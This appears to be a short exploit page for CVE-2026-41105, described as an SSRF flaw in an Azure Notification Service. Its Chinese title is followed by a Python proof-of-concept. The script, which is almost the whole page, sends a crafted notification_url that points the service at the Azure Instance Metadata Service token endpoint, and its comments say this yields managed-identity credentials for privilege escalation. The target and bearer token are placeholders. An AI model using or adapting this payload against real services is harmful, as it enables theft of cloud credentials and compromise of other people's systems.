CVE-2026-41105 Azure Notification Service SSRF漏洞

import requests # PoC for CVE-2026-41105: Azure Notification Service SSRF # This script demonstrates a conceptual SSRF attack. def trigger_ssrf(target_endpoint, internal_url): """ Sends a malicious request to the target service to force it to visit an internal URL. """ headers = { "Content-Type": "application/json", "Authorization": "Bearer <VALID_TOKEN>" # PR:L requires valid auth } # Payload simulating a notification callback to an internal resource payload = { "notification_url": internal_url, "message": "Test" } try: print(f"[*] Attempting to send request to {target_endpoint}...") response = requests.post(target_endpoint, json=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if internal resource was accessed.") print(f"Response: {response.text[:200]}") else: print(f"[-] Server returned status code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Target URL (Placeholder) TARGET = "https://<azure-notification-service-endpoint>/api/v1/notify" # Internal URL to access (e.g., Azure Instance Metadata Service) # Accessing this may retrieve IAM credentials, leading to Privilege Escalation INTERNAL_PAYLOAD = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" trigger_ssrf(TARGET, INTERNAL_PAYLOAD)